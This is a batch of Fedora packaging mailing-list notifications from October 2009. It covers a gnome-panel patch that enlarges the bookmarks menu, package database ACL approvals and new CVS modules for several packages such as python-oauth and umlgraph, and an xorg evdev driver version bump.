From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu,  8 Oct 2009 04:56:14 +0000 (UTC)
Subject: rpms/gnome-panel/F-12 bookmarks-submenu.patch, NONE,
	1.1 gnome-panel.spec, 1.371, 1.372
Message-ID: <20091008045614.6541F11C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-panel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15905

Modified Files:
	gnome-panel.spec 
Added Files:
	bookmarks-submenu.patch 
Log Message:
Accept more bookmarks in the places menu before overflowing


bookmarks-submenu.patch:
 panel-menu-items.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE bookmarks-submenu.patch ---
diff -up gnome-panel-2.28.0/gnome-panel/panel-menu-items.c.bookmarks-submenu gnome-panel-2.28.0/gnome-panel/panel-menu-items.c
--- gnome-panel-2.28.0/gnome-panel/panel-menu-items.c.bookmarks-submenu	2009-10-08 00:52:51.855737118 -0400
+++ gnome-panel-2.28.0/gnome-panel/panel-menu-items.c	2009-10-08 00:53:09.378716600 -0400
@@ -61,7 +61,7 @@
 #define NAMES_DIR               "/apps/nautilus/desktop"
 #define HOME_NAME_KEY           "/apps/nautilus/desktop/home_icon_name"
 #define COMPUTER_NAME_KEY       "/apps/nautilus/desktop/computer_icon_name"
-#define MAX_ITEMS_OR_SUBMENU    5
+#define MAX_ITEMS_OR_SUBMENU    8
 
 G_DEFINE_TYPE (PanelPlaceMenuItem, panel_place_menu_item, GTK_TYPE_IMAGE_MENU_ITEM)
 G_DEFINE_TYPE (PanelDesktopMenuItem, panel_desktop_menu_item, GTK_TYPE_IMAGE_MENU_ITEM)


Index: gnome-panel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/gnome-panel.spec,v
retrieving revision 1.371
retrieving revision 1.372
diff -u -p -r1.371 -r1.372
--- gnome-panel.spec	8 Oct 2009 02:39:05 -0000	1.371
+++ gnome-panel.spec	8 Oct 2009 04:56:14 -0000	1.372
@@ -22,7 +22,7 @@
 Summary: GNOME panel
 Name: gnome-panel
 Version: 2.28.0
-Release: 2%{?dist}
+Release: 3%{?dist}
 URL: http://www.gnome.org
 Source0: http://download.gnome.org/sources/gnome-panel/2.28/%{name}-%{version}.tar.bz2
 
@@ -112,6 +112,7 @@ Patch35: clock-wakeups.patch
 Patch38: clock-network.patch
 
 Patch40: clock-home.patch
+Patch41: bookmarks-submenu.patch
 
 Conflicts: gnome-power-manager < 2.15.3
 
@@ -159,6 +160,7 @@ Panel Applets using the libpanel-applet 
 %patch35 -p1 -b .clock-wakeups
 %patch38 -p1 -b .clock-network
 %patch40 -p1 -b .clock-home
+%patch41 -p1 -b .bookmarks-submenu
 
 . %{SOURCE6}
 
@@ -357,6 +359,9 @@ fi
 %{_datadir}/gtk-doc/html/*
 
 %changelog
+* Thu Oct  8 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-3
+- Accept more bookmarks in the places menu before overflowing
+
 * Wed Oct  7 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-2
 - Add a default location to the clock applet
 



From pkgdb at fedoraproject.org  Thu Oct  8 05:45:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:45:35 +0000
Subject: [pkgdb] python-daemon (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008054535.7A08E10F88F@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for python-daemon
kevin has set commit to Approved for 107427 on python-daemon (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on python-daemon (Fedora EPEL 5)
kevin has set build to Approved for 107427 on python-daemon (Fedora EPEL 5)
kevin changed owner of python-daemon in Fedora EPEL 5 to kushal
kevin approved watchbugzilla on python-daemon (Fedora EPEL 5) for lmacken
kevin approved watchcommits on python-daemon (Fedora EPEL 5) for lmacken
kevin approved commit on python-daemon (Fedora EPEL 5) for lmacken
kevin approved build on python-daemon (Fedora EPEL 5) for lmacken
kevin approved approveacls on python-daemon (Fedora EPEL 5) for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-daemon



From pkgdb at fedoraproject.org  Thu Oct  8 05:46:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:46:42 +0000
Subject: [pkgdb] sblim-cmpi-devel (Fedora EPEL, 4) updated by kevin
Message-ID: <20091008054642.C20B510F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sblim-cmpi-devel
kevin has set commit to Approved for 107427 on sblim-cmpi-devel (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sblim-cmpi-devel (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sblim-cmpi-devel (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-devel



From pkgdb at fedoraproject.org  Thu Oct  8 05:46:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:46:42 +0000
Subject: [pkgdb] sblim-cmpi-devel (Fedora EPEL, 4) updated by kevin
Message-ID: <20091008054642.B0FD110F880@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sblim-cmpi-devel
kevin has set commit to Approved for 107427 on sblim-cmpi-devel (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sblim-cmpi-devel (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sblim-cmpi-devel (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-devel



From pkgdb at fedoraproject.org  Thu Oct  8 05:47:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:47:58 +0000
Subject: [pkgdb] tcl-mysqltcl (Fedora EPEL, 4) updated by kevin
Message-ID: <20091008054758.8AA5810F8A1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for tcl-mysqltcl
kevin has set commit to Approved for 107427 on tcl-mysqltcl (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on tcl-mysqltcl (Fedora EPEL 5)
kevin has set build to Approved for 107427 on tcl-mysqltcl (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/tcl-mysqltcl



From pkgdb at fedoraproject.org  Thu Oct  8 05:47:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:47:58 +0000
Subject: [pkgdb] tcl-mysqltcl (Fedora EPEL, 4) updated by kevin
Message-ID: <20091008054758.75A7110F88F@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for tcl-mysqltcl
kevin has set commit to Approved for 107427 on tcl-mysqltcl (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on tcl-mysqltcl (Fedora EPEL 4)
kevin has set build to Approved for 107427 on tcl-mysqltcl (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/tcl-mysqltcl



From pkgdb at fedoraproject.org  Thu Oct  8 05:49:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:49:12 +0000
Subject: [pkgdb] python-decorator3 was added for toshio
Message-ID: <20091008054912.690DD10F84D@bastion2.fedora.phx.redhat.com>

kevin has added Package python-decorator3 with summary Module to simplify usage of decorators
kevin has approved Package python-decorator3
kevin has added a Fedora devel branch for python-decorator3 with an owner of toshio
kevin has approved python-decorator3 in Fedora devel
kevin has approved Package python-decorator3
kevin has set commit to Approved for 107427 on python-decorator3 (Fedora devel)
kevin has set checkout to Approved for 107427 on python-decorator3 (Fedora devel)
kevin has set build to Approved for 107427 on python-decorator3 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-decorator3



From pkgdb at fedoraproject.org  Thu Oct  8 05:49:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:49:14 +0000
Subject: [pkgdb] python-decorator3 summary updated by kevin
Message-ID: <20091008054914.45BDF10F895@bastion2.fedora.phx.redhat.com>

kevin set package python-decorator3 summary to Module to simplify usage of decorators

To make changes to this package see:
  /pkgdb/packages/name/python-decorator3



From pkgdb at fedoraproject.org  Thu Oct  8 05:49:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:49:14 +0000
Subject: [pkgdb] python-decorator3 (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008054914.5B18210F8A8@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on python-decorator3 (Fedora devel) for lmacken
kevin approved watchcommits on python-decorator3 (Fedora devel) for lmacken
kevin approved commit on python-decorator3 (Fedora devel) for lmacken
kevin approved build on python-decorator3 (Fedora devel) for lmacken
kevin approved approveacls on python-decorator3 (Fedora devel) for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-decorator3



From pkgdb at fedoraproject.org  Thu Oct  8 05:49:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:49:14 +0000
Subject: [pkgdb] python-decorator3 (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008054914.6C4E210F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for python-decorator3
kevin has set commit to Approved for 107427 on python-decorator3 (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on python-decorator3 (Fedora EPEL 5)
kevin has set build to Approved for 107427 on python-decorator3 (Fedora EPEL 5)
kevin approved watchbugzilla on python-decorator3 (Fedora EPEL 5) for lmacken
kevin approved watchcommits on python-decorator3 (Fedora EPEL 5) for lmacken
kevin approved commit on python-decorator3 (Fedora EPEL 5) for lmacken
kevin approved build on python-decorator3 (Fedora EPEL 5) for lmacken
kevin approved approveacls on python-decorator3 (Fedora EPEL 5) for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-decorator3



From kevin at fedoraproject.org  Thu Oct  8 05:49:24 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:49:24 +0000 (UTC)
Subject: rpms/python-decorator3 - New directory
Message-ID: <20091008054924.14CAB11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-decorator3
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsv30987/rpms/python-decorator3

Log Message:
Directory /cvs/pkgs/rpms/python-decorator3 added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:49:24 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:49:24 +0000 (UTC)
Subject: rpms/python-decorator3/devel - New directory
Message-ID: <20091008054924.3AEED11C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-decorator3/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsv30987/rpms/python-decorator3/devel

Log Message:
Directory /cvs/pkgs/rpms/python-decorator3/devel added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:49:31 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:49:31 +0000 (UTC)
Subject: rpms/python-decorator3 Makefile,NONE,1.1
Message-ID: <20091008054931.9505F11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-decorator3
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsv30987/rpms/python-decorator3

Added Files:
	Makefile 
Log Message:
Setup of module python-decorator3


--- NEW FILE Makefile ---
# Top level Makefile for module python-decorator3
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct  8 05:49:32 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:49:32 +0000 (UTC)
Subject: rpms/python-decorator3/devel .cvsignore, NONE, 1.1 Makefile, NONE, 
	1.1 sources, NONE, 1.1
Message-ID: <20091008054932.1C08311C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-decorator3/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsv30987/rpms/python-decorator3/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module python-decorator3


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: python-decorator3
# $Id: Makefile,v 1.1 2009/10/08 05:49:31 kevin Exp $
NAME := python-decorator3
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct  8 05:51:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:51:54 +0000
Subject: [pkgdb] umlgraph was added for akurtakov
Message-ID: <20091008055154.D405F10F880@bastion2.fedora.phx.redhat.com>

kevin has added Package umlgraph with summary Automated Drawing of UML Diagrams
kevin has approved Package umlgraph
kevin has added a Fedora devel branch for umlgraph with an owner of akurtakov
kevin has approved umlgraph in Fedora devel
kevin has approved Package umlgraph
kevin has set commit to Approved for 107427 on umlgraph (Fedora devel)
kevin has set checkout to Approved for 107427 on umlgraph (Fedora devel)
kevin has set build to Approved for 107427 on umlgraph (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/umlgraph



From pkgdb at fedoraproject.org  Thu Oct  8 05:51:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:51:56 +0000
Subject: [pkgdb] umlgraph summary updated by kevin
Message-ID: <20091008055156.30F7F10F895@bastion2.fedora.phx.redhat.com>

kevin set package umlgraph summary to Automated Drawing of UML Diagrams

To make changes to this package see:
  /pkgdb/packages/name/umlgraph



From pkgdb at fedoraproject.org  Thu Oct  8 05:51:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:51:56 +0000
Subject: [pkgdb] umlgraph (Fedora, 12) updated by kevin
Message-ID: <20091008055156.3BD4310F8A4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for umlgraph
kevin has set commit to Approved for 107427 on umlgraph (Fedora 12)
kevin has set checkout to Approved for 107427 on umlgraph (Fedora 12)
kevin has set build to Approved for 107427 on umlgraph (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/umlgraph



From kevin at fedoraproject.org  Thu Oct  8 05:52:06 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:52:06 +0000 (UTC)
Subject: rpms/umlgraph - New directory
Message-ID: <20091008055206.2C9F411C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/umlgraph
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsx31710/rpms/umlgraph

Log Message:
Directory /cvs/pkgs/rpms/umlgraph added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:52:06 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:52:06 +0000 (UTC)
Subject: rpms/umlgraph/devel - New directory
Message-ID: <20091008055206.9402711C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/umlgraph/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsx31710/rpms/umlgraph/devel

Log Message:
Directory /cvs/pkgs/rpms/umlgraph/devel added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:52:19 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:52:19 +0000 (UTC)
Subject: rpms/umlgraph Makefile,NONE,1.1
Message-ID: <20091008055219.8CFDD11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/umlgraph
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsx31710/rpms/umlgraph

Added Files:
	Makefile 
Log Message:
Setup of module umlgraph


--- NEW FILE Makefile ---
# Top level Makefile for module umlgraph
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct  8 05:52:20 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:52:20 +0000 (UTC)
Subject: rpms/umlgraph/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091008055220.2552611C0268@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/umlgraph/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsx31710/rpms/umlgraph/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module umlgraph


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: umlgraph
# $Id: Makefile,v 1.1 2009/10/08 05:52:19 kevin Exp $
NAME := umlgraph
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Thu Oct  8 05:53:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:53:04 +0000
Subject: [pkgdb] python-oauth was added for sdz
Message-ID: <20091008055304.9D12E10F84D@bastion2.fedora.phx.redhat.com>

kevin has added Package python-oauth with summary Library for OAuth version 1.0a
kevin has approved Package python-oauth
kevin has added a Fedora devel branch for python-oauth with an owner of sdz
kevin has approved python-oauth in Fedora devel
kevin has approved Package python-oauth
kevin has set commit to Approved for 107427 on python-oauth (Fedora devel)
kevin has set checkout to Approved for 107427 on python-oauth (Fedora devel)
kevin has set build to Approved for 107427 on python-oauth (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/python-oauth



From pkgdb at fedoraproject.org  Thu Oct  8 05:53:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:53:05 +0000
Subject: [pkgdb] python-oauth (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055306.18DEA10F8A3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for python-oauth
kevin has set commit to Approved for 107427 on python-oauth (Fedora 11)
kevin has set checkout to Approved for 107427 on python-oauth (Fedora 11)
kevin has set build to Approved for 107427 on python-oauth (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/python-oauth



From pkgdb at fedoraproject.org  Thu Oct  8 05:53:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:53:05 +0000
Subject: [pkgdb] python-oauth summary updated by kevin
Message-ID: <20091008055306.1358810F895@bastion2.fedora.phx.redhat.com>

kevin set package python-oauth summary to Library for OAuth version 1.0a

To make changes to this package see:
  /pkgdb/packages/name/python-oauth



From pkgdb at fedoraproject.org  Thu Oct  8 05:53:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:53:06 +0000
Subject: [pkgdb] python-oauth (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055306.1F26510F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for python-oauth
kevin has set commit to Approved for 107427 on python-oauth (Fedora 12)
kevin has set checkout to Approved for 107427 on python-oauth (Fedora 12)
kevin has set build to Approved for 107427 on python-oauth (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/python-oauth



From pkgdb at fedoraproject.org  Thu Oct  8 05:53:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 08 Oct 2009 05:53:06 +0000
Subject: [pkgdb] python-oauth (Fedora EPEL, 5) updated by kevin
Message-ID: <20091008055306.2A58110F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for python-oauth
kevin has set commit to Approved for 107427 on python-oauth (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on python-oauth (Fedora EPEL 5)
kevin has set build to Approved for 107427 on python-oauth (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/python-oauth



From kevin at fedoraproject.org  Thu Oct  8 05:53:19 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:53:19 +0000 (UTC)
Subject: rpms/python-oauth - New directory
Message-ID: <20091008055319.37D7F11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-oauth
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsT32223/rpms/python-oauth

Log Message:
Directory /cvs/pkgs/rpms/python-oauth added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:53:19 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:53:19 +0000 (UTC)
Subject: rpms/python-oauth/devel - New directory
Message-ID: <20091008055319.A70A211C0267@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-oauth/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsT32223/rpms/python-oauth/devel

Log Message:
Directory /cvs/pkgs/rpms/python-oauth/devel added to the repository




From kevin at fedoraproject.org  Thu Oct  8 05:53:29 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:53:29 +0000 (UTC)
Subject: rpms/python-oauth Makefile,NONE,1.1
Message-ID: <20091008055329.9462C11C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-oauth
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsT32223/rpms/python-oauth

Added Files:
	Makefile 
Log Message:
Setup of module python-oauth


--- NEW FILE Makefile ---
# Top level Makefile for module python-oauth
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Thu Oct  8 05:53:29 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  8 Oct 2009 05:53:29 +0000 (UTC)
Subject: rpms/python-oauth/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091008055329.EB1F411C00DB@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/python-oauth/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsT32223/rpms/python-oauth/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module python-oauth


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: python-oauth
# $Id: Makefile,v 1.1 2009/10/08 05:53:29 kevin Exp $
NAME := python-oauth
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From whot at fedoraproject.org  Thu Oct  8 05:53:44 2009
From: whot at fedoraproject.org (Peter Hutterer)
Date: Thu,  8 Oct 2009 05:53:44 +0000 (UTC)
Subject: rpms/xorg-x11-drv-evdev/devel .cvsignore, 1.39, 1.40 commitid, 1.5, 
	1.6 sources, 1.39, 1.40 xorg-x11-drv-evdev.spec, 1.61, 1.62
Message-ID: <20091008055344.3024811C00DB@cvs1.fedora.phx.redhat.com>

Author: whot

Update of /cvs/pkgs/rpms/xorg-x11-drv-evdev/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32578

Modified Files:
	.cvsignore commitid sources xorg-x11-drv-evdev.spec 
Log Message:
* Thu Oct 08 2009 Peter Hutterer <peter.hutterer at redhat.com> 2.2.99.2-1
- evdev 2.2.99.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-evdev/devel/.cvsignore,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- .cvsignore	23 Sep 2009 09:33:20 -0000	1.39
+++ .cvsignore	8 Oct 2009 05:53:43 -0000	1.40
@@ -1 +1 @@
-xf86-input-evdev-20090923.tar.bz2
+xf86-input-evdev-2.2.99.2.tar.bz2


Index: commitid
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-evdev/devel/commitid,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- commitid	23 Sep 2009 09:33:21 -0000	1.5
+++ commitid	8 Oct 2009 05:53:43 -0000	1.6
@@ -1 +1 @@
-61b4e88e01f32e976f85e7970a7f5b21fcd84f97
+3fa49dfcab9081787840ed6bb9451cb73f65e248


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-evdev/devel/sources,v
retrieving revision 1.39
retrieving revision 1.40
diff -u -p -r1.39 -r1.40
--- sources	23 Sep 2009 09:33:21 -0000	1.39
+++ sources	8 Oct 2009 05:53:43 -0000	1.40
@@ -1 +1 @@
-e93818c4185ebb88cb03f86893b09dce  xf86-input-evdev-20090923.tar.bz2
+2412a5d422169e79bde62b8362bc70b7  xf86-input-evdev-2.2.99.2.tar.bz2


Index: xorg-x11-drv-evdev.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-evdev/devel/xorg-x11-drv-evdev.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- xorg-x11-drv-evdev.spec	23 Sep 2009 09:33:21 -0000	1.61
+++ xorg-x11-drv-evdev.spec	8 Oct 2009 05:53:43 -0000	1.62
@@ -2,19 +2,19 @@
 %define moduledir %(pkg-config xorg-server --variable=moduledir )
 %define driverdir	%{moduledir}/input
 
-%define gitdate 20090923
+#define gitdate 20090923
 
 Summary:    Xorg X11 evdev input driver
 Name:	    xorg-x11-drv-evdev
-Version:    2.2.99
-Release:    8.%{gitdate}%{?dist}
+Version:    2.2.99.2
+Release:    1%{?dist}
 URL:	    http://www.x.org
 License:    MIT
 Group:	    User Interface/X Hardware Support
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-#Source0:   ftp://ftp.x.org/pub/individual/driver/%{tarball}-%{version}.tar.bz2
-Source0:    %{tarball}-%{gitdate}.tar.bz2
+Source0:   ftp://ftp.x.org/pub/individual/driver/%{tarball}-%{version}.tar.bz2
+#Source0:    %{tarball}-%{gitdate}.tar.bz2
 Source1:    make-git-snapshot.sh
 Source2:    commitid
 
@@ -31,8 +31,8 @@ Requires:  xkeyboard-config >= 1.4-1
 X.Org X11 evdev input driver.
 
 %prep
-%setup -q -n %{tarball}-%{gitdate}
-#%setup -q -n %{tarball}-%{version}
+#%setup -q -n %{tarball}-%{gitdate}
+%setup -q -n %{tarball}-%{version}
 
 %build
 autoreconf -v --install || exit 1
@@ -71,6 +71,9 @@ X.Org X11 evdev input driver development
 
 
 %changelog
+* Thu Oct 08 2009 Peter Hutterer <peter.hutterer at redhat.com> 2.2.99.2-1
+- evdev 2.2.99.2
+
 * Wed Sep 23 2009 Peter Hutterer <peter.hutterer at redhat.com> 2.2.99-8.20090923
 - Update to today's git master (fixes wheel emulation)
 



